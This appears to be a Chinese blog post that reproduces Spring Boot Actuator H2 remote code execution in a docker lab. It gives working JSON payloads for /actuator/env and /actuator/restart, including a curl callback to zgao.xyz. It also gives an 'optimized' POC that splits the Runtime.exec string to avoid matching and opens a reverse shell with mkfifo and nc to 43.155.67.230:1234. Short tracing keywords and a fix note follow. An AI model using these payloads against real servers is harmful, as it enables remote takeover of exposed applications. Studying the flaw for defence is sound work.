Spring Boot Actuator H2 远程代码执行漏洞复现 & POC优化解决命令执行报错
漏洞简述
Actutator是spring一个生产环境部署时可使用的功能,用来监控和管理应用程序。支持选择HTTP Endpoints 或者JMX的方式来访问,同样支持查看应用程序的Auding,health和metrics信息。
漏洞利用条件
- Spring Boot Actuator配置不当暴露
/actuator/env
等接口 - 使用HikariCP(H2)数据库
漏洞环境搭建
使用github上的docker漏洞镜像。
git clone https://github.com/spaceraccoon/spring-boot-actuator-h2-rce.git cd spring-boot-actuator-h2-rce docker build -t spaceraccoon/spring-boot-rce-lab . docker run -p 8080:8080 --name lab --rm -t spaceraccoon/spring-boot-rce-lab
http://vul.zgao.top:8080/actuator
漏洞复现
先来看下网上用的最多的一段POC。
接口:/actuator/env
网上这个poc不稳定,执行反弹shell和部分命令会失败。这里的坑踩了很多次!!!后面会单独分析。
{"name":"spring.datasource.hikari.connection-test-query","value":"CREATE ALIAS EXEC AS 'String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()); if (s.hasNext()) {return s.next();} throw new IllegalArgumentException();}'; CALL EXEC('curl zgao.xyz:1234/success');"}
接口:/actuator/restart,post一个空的json。
{}
命令执行成功。
payload存在的一些问题
网上提供的payload并不稳定,简单分析一下存在两个问题。
- payload执行第二次会报错退出容器。
- 无法执行带特殊字符的命令或者执行反弹shell。
先分析第一个问题。由于要restart才能执行一次命令。这里第二次请求接口。
此时已退出容器,往上查看堆栈报错。
执行的sql语句中,exec这个别名已经存在又再次创建导致报错。
所以把poc中的CREATE ALIAS EXEC AS
换成CREATE ALIAS IF NOT EXISTS EXEC AS
即可。
第二个问题,上面的poc无法反弹shell。这个和java.runtime.exec 命令执行有关,网上有很多介绍的文章。
优化后的payload
最终优化后的POC如下换成下面的poc就能同时解决上面的两个问题。
可以使用 https://zgao.top/reverse-shell/ 生成payload。
{"name":"spring.datasource.hikari.connection-test-query","value":"CREATE ALIAS IF NOT EXISTS EXEC AS CONCAT('void ex(String m1,String m2,String m3)throws Exception{Runti','me.getRun','time().exe','c(new String[]{m1,m2,m3});}');CALL EXEC('/bin/sh','-c','rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 43.155.67.230 1234 >/tmp/f');"}
反弹shell执行成功。
溯源排查
用docker logs 可查看控制台日志。但没有记录请求ip。
排查关键词:exec,dispatcherServlet
修复方式
不要暴露端点,默认是只能访问到health
和info
端点。
微信赞赏支付宝赞赏
发表评论